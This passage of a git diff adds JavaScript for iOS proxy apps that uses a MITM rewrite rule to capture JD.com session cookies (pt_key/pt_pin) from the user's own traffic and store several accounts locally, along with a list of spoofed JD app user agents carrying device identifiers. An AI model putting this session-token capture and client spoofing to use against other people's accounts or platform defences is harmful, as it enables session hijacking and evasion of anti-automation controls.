Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; \ No newline at end of file diff --git a/JD_extra_cookie.js b/JD_extra_cookie.js new file mode 100644 index 0000000..228dfb7 --- /dev/null +++ b/JD_extra_cookie.js @@ -0,0 +1,119 @@ +/* +感谢github@dompling的PR + +Author: 2Ya + +Github: https://github.com/dompling + +=================== +特别说明: +1.获取多个京东cookie的脚本,不和NobyDa的京东cookie冲突。注:如与NobyDa的京东cookie重复,建议在BoxJs处删除重复的cookie +=================== +=================== +使用方式:在代理软件配置好下方配置后,复制 https://home.m.jd.com/myJd/newhome.action 到浏览器打开 ,在个人中心自动获取 cookie, +若弹出成功则正常使用。否则继续再此页面继续刷新一下试试。 + +注:建议通过脚本去获取cookie,若要在BoxJs处手动修改,请按照JSON格式修改(注:可使用此JSON校验 https://www.bejson.com/json/format) +示例:[{"userName":"jd_xxx","cookie":"pt_key=AAJ;pt_pin=jd_xxx;"},{"userName":"jd_66","cookie":"pt_key=AAJ;pt_pin=jd_66;"}] +=================== +new Env('获取多账号京东Cookie');//此处忽略即可,为自动生成iOS端软件配置文件所需 +=================== +[MITM] +hostname = me-api.jd.com + +===================Quantumult X===================== +[rewrite_local] +# 获取多账号京东Cookie +https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion url script-request-header JD_extra_cookie.js + +===================Loon=================== +[Script] +http-request https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion script-path=JD_extra_cookie.js, tag=获取多账号京东Cookie + +===================Surge=================== +[Script] +获取多账号京东Cookie = type=http-request,pattern=^https:\/\/me-api\.jd\.com\/user_new\/info\/GetJDUserInfoUnion,requires-body=1,max-size=0,script-path=JD_extra_cookie.js,script-update-interval=0 + */ + +const APIKey = "CookiesJD"; +$ = new API(APIKey, true); +const CacheKey = `#${APIKey}`; +if ($request) GetCookie(); + +function getCache() { + var cache = $.read(CacheKey) || "[]"; + $.log(cache); + return JSON.parse(cache); +} + +function GetCookie() { + try { + if ($request.headers && $request.url.indexOf("GetJDUserInfoUnion") > -1) { + var CV = $request.headers["Cookie"] || $request.headers["cookie"]; + if (CV.match(/(pt_key=.+?pt_pin=|pt_pin=.+?pt_key=)/)) { + var CookieValue = CV.match(/pt_key=.+?;/) + CV.match(/pt_pin=.+?;/); + var UserName = CookieValue.match(/pt_pin=([^; ]+)(?=;?)/)[1]; + var DecodeName = decodeURIComponent(UserName); + var CookiesData = getCache(); + var updateCookiesData = [...CookiesData]; + var updateIndex; + var CookieName = "【账号】"; + var updateCodkie = CookiesData.find((item, index) => { + var ck = item.cookie; + var Account = ck + ? ck.match(/pt_pin=.+?;/) + ? ck.match(/pt_pin=([^; ]+)(?=;?)/)[1] + : null + : null; + const verify = UserName === Account; + if (verify) { + updateIndex = index; + } + return verify; + }); + var tipPrefix = ""; + if (updateCodkie) { + updateCookiesData[updateIndex].cookie = CookieValue; + CookieName = `【账号${updateIndex + 1}】`; + tipPrefix = "更新京东"; + } else { + updateCookiesData.push({ + userName: DecodeName, + cookie: CookieValue, + }); + CookieName = "【账号" + updateCookiesData.length + "】"; + tipPrefix = "首次写入京东"; + } + const cacheValue = JSON.stringify(updateCookiesData, null, "\t"); + $.write(cacheValue, CacheKey); + $.notify( + "用户名: " + DecodeName, + "", + tipPrefix + CookieName + "Cookie成功 🎉" + ); + } else { + $.notify("写入京东Cookie失败", "", "请查看脚本内说明, 登录网页获取 ‼️"); + } + $.done(); + return; + } else { + $.notify("写入京东Cookie失败", "", "请检查匹配URL或配置内脚本类型 ‼️"); + } + } catch (eor) { + $.write("", CacheKey); + $.notify("写入京东Cookie失败", "", "已尝试清空历史Cookie, 请重试 ⚠️"); + console.log( + `\n写入京东Cookie出现错误 ‼️\n${JSON.stringify( + eor + )}\n\n${eor}\n\n${JSON.stringify($request.headers)}\n` + ); + } + $.done(); +} + +// prettier-ignore +function ENV(){const isQX=typeof $task!=="undefined";const isLoon=typeof $loon!=="undefined";const isSurge=typeof $httpClient!=="undefined"&&!isLoon;const isJSBox=typeof require=="function"&&typeof $jsbox!="undefined";const isNode=typeof require=="function"&&!isJSBox;const isRequest=typeof $request!=="undefined";const isScriptable=typeof importModule!=="undefined";return{isQX,isLoon,isSurge,isNode,isJSBox,isRequest,isScriptable}} +// prettier-ignore +function HTTP(baseURL,defaultOptions={}){const{isQX,isLoon,isSurge,isScriptable,isNode}=ENV();const methods=["GET","POST","PUT","DELETE","HEAD","OPTIONS","PATCH"];function send(method,options){options=typeof options==="string"?{url:options}:options;options.url=baseURL?baseURL+options.url:options.url;options={...defaultOptions,...options};const timeout=options.timeout;const events={...{onRequest:()=>{},onResponse:(resp)=>resp,onTimeout:()=>{},},...options.events,};events.onRequest(method,options);let worker;if(isQX){worker=$task.fetch({method,...options})}else if(isLoon||isSurge||isNode){worker=new Promise((resolve,reject)=>{const request=isNode?require("request"):$httpClient;request[method.toLowerCase()](options,(err,response,body)=>{if(err)reject(err);else resolve({statusCode:response.status||response.statusCode,headers:response.headers,body,})})})}else if(isScriptable){const request=new Request(options.url);request.method=method;request.headers=options.headers;request.body=options.body;worker=new Promise((resolve,reject)=>{request.loadString().then((body)=>{resolve({statusCode:request.response.statusCode,headers:request.response.headers,body,})}).catch((err)=>reject(err))})}let timeoutid;const timer=timeout?new Promise((_,reject)=>{timeoutid=setTimeout(()=>{events.onTimeout();return reject(`${method}URL:${options.url}exceeds the timeout ${timeout}ms`)},timeout)}):null;return(timer?Promise.race([timer,worker]).then((res)=>{clearTimeout(timeoutid);return res}):worker).then((resp)=>events.onResponse(resp))}const http={};methods.forEach((method)=>(http[method.toLowerCase()]=(options)=>send(method,options)));return http} +// prettier-ignore +function API(name="untitled",debug=false){const{isQX,isLoon,isSurge,isNode,isJSBox,isScriptable}=ENV();return new(class{constructor(name,debug){this.name=name;this.debug=debug;this.http=HTTP();this.env=ENV();this.node=(()=>{if(isNode){const fs=require("fs");return{fs}}else{return null}})();this.initCache();const delay=(t,v)=>new Promise(function(resolve){setTimeout(resolve.bind(null,v),t)});Promise.prototype.delay=function(t){return this.then(function(v){return delay(t,v)})}}initCache(){if(isQX)this.cache=JSON.parse($prefs.valueForKey(this.name)||"{}");if(isLoon||isSurge)this.cache=JSON.parse($persistentStore.read(this.name)||"{}");if(isNode){let fpath="root.json";if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err))}this.root={};fpath=`${this.name}.json`;if(!this.node.fs.existsSync(fpath)){this.node.fs.writeFileSync(fpath,JSON.stringify({}),{flag:"wx"},(err)=>console.log(err));this.cache={}}else{this.cache=JSON.parse(this.node.fs.readFileSync(`${this.name}.json`))}}}persistCache(){const data=JSON.stringify(this.cache);if(isQX)$prefs.setValueForKey(data,this.name);if(isLoon||isSurge)$persistentStore.write(data,this.name);if(isNode){this.node.fs.writeFileSync(`${this.name}.json`,data,{flag:"w"},(err)=>console.log(err));this.node.fs.writeFileSync("root.json",JSON.stringify(this.root),{flag:"w"},(err)=>console.log(err))}}write(data,key){this.log(`SET ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.write(data,key)}if(isQX){return $prefs.setValueForKey(data,key)}if(isNode){this.root[key]=data}}else{this.cache[key]=data}this.persistCache()}read(key){this.log(`READ ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){return $persistentStore.read(key)}if(isQX){return $prefs.valueForKey(key)}if(isNode){return this.root[key]}}else{return this.cache[key]}}delete(key){this.log(`DELETE ${key}`);if(key.indexOf("#")!==-1){key=key.substr(1);if(isSurge||isLoon){$persistentStore.write(null,key)}if(isQX){$prefs.removeValueForKey(key)}if(isNode){delete this.root[key]}}else{delete this.cache[key]}this.persistCache()}notify(title,subtitle="",content="",options={}){const openURL=options["open-url"];const mediaURL=options["media-url"];if(isQX)$notify(title,subtitle,content,options);if(isSurge){$notification.post(title,subtitle,content+`${mediaURL?"\n多媒体:"+mediaURL:""}`,{url:openURL})}if(isLoon){let opts={};if(openURL)opts["openUrl"]=openURL;if(mediaURL)opts["mediaUrl"]=mediaURL;if(JSON.stringify(opts)=="{}"){$notification.post(title,subtitle,content)}else{$notification.post(title,subtitle,content,opts)}}if(isNode||isScriptable){const content_=content+(openURL?`\n点击跳转:${openURL}`:"")+(mediaURL?`\n多媒体:${mediaURL}`:"");if(isJSBox){const push=require("push");push.schedule({title:title,body:(subtitle?subtitle+"\n":"")+content_,})}else{console.log(`${title}\n${subtitle}\n${content_}\n\n`)}}}log(msg){if(this.debug)console.log(msg)}info(msg){console.log(msg)}error(msg){console.log("ERROR: "+msg)}wait(millisec){return new Promise((resolve)=>setTimeout(resolve,millisec))}done(value={}){if(isQX||isLoon||isSurge){$done(value)}else if(isNode&&!isJSBox){if(typeof $context!=="undefined"){$context.headers=value.headers;$context.statusCode=value.statusCode;$context.body=value.body}}}})(name,debug)} diff --git a/JS_USER_AGENTS.js b/JS_USER_AGENTS.js new file mode 100644 index 0000000..e4da11d --- /dev/null +++ b/JS_USER_AGENTS.js @@ -0,0 +1,92 @@ +const USER_AGENTS = [ + 'jdltapp;iPad;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.7.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 